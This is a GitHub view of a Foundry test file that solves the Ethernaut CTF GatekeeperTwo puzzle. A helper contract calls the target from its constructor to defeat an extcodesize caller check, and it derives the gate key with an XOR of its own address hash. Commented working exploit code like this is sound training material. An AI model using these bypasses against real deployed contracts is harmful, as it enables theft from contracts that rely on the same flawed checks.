-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathGatekeeperTwoExploit.t.sol
53 lines (45 loc) · 1.95 KB
/
GatekeeperTwoExploit.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import '../../src/EthernautCTF/GatekeeperTwo.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';
contract Helper {
constructor(address _target) {
// To pass gate 2, simply put all the exploit logic inside the `constructor` function.
// Indeed, a contract does not have source code available during construction.
// This is a very bad way to check that the caller is an EOA.
// Reference: https://consensys.github.io/smart-contract-best-practices/development-recommendations/solidity-specific/extcodesize-checks/
// The gate key should be equal to the negation of `uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))`.
// Since solidity does not support negation, it is possible to use the XOR operation (^) with 0xff (ones).
// Reference: https://medium.com/@imolfar/bitwise-operations-and-bit-manipulation-in-solidity-ethereum-1751f3d2e216
// This is required for gate 3.
bytes8 gateKey = bytes8(keccak256(abi.encodePacked(address(this)))) ^
0xffffffffffffffff;
GatekeeperTwo(_target).enter(gateKey);
}
}
contract GatekeeperTwoExploit is Test {
GatekeeperTwo target;
address deployer = makeAddr('deployer');
address exploiter = makeAddr('exploiter');
function setUp() public {
vm.startPrank(deployer);
target = new GatekeeperTwo();
console.log('Target contract deployed');
vm.stopPrank();
}
function testExploit() public {
address entrant = target.entrant();
console.log('Current entrant: %s', entrant);
assertEq(entrant, address(0x0));
// Set exploiter to be the msg.sender.
// Note that we also pass a second argument to override cast's default tx.origin.
// This is required for gate 1.
vm.startPrank(exploiter, exploiter);
new Helper(address(target));
vm.stopPrank();
entrant = target.entrant();
console.log('New entrant: %s', entrant);
assertEq(entrant, exploiter);
}
}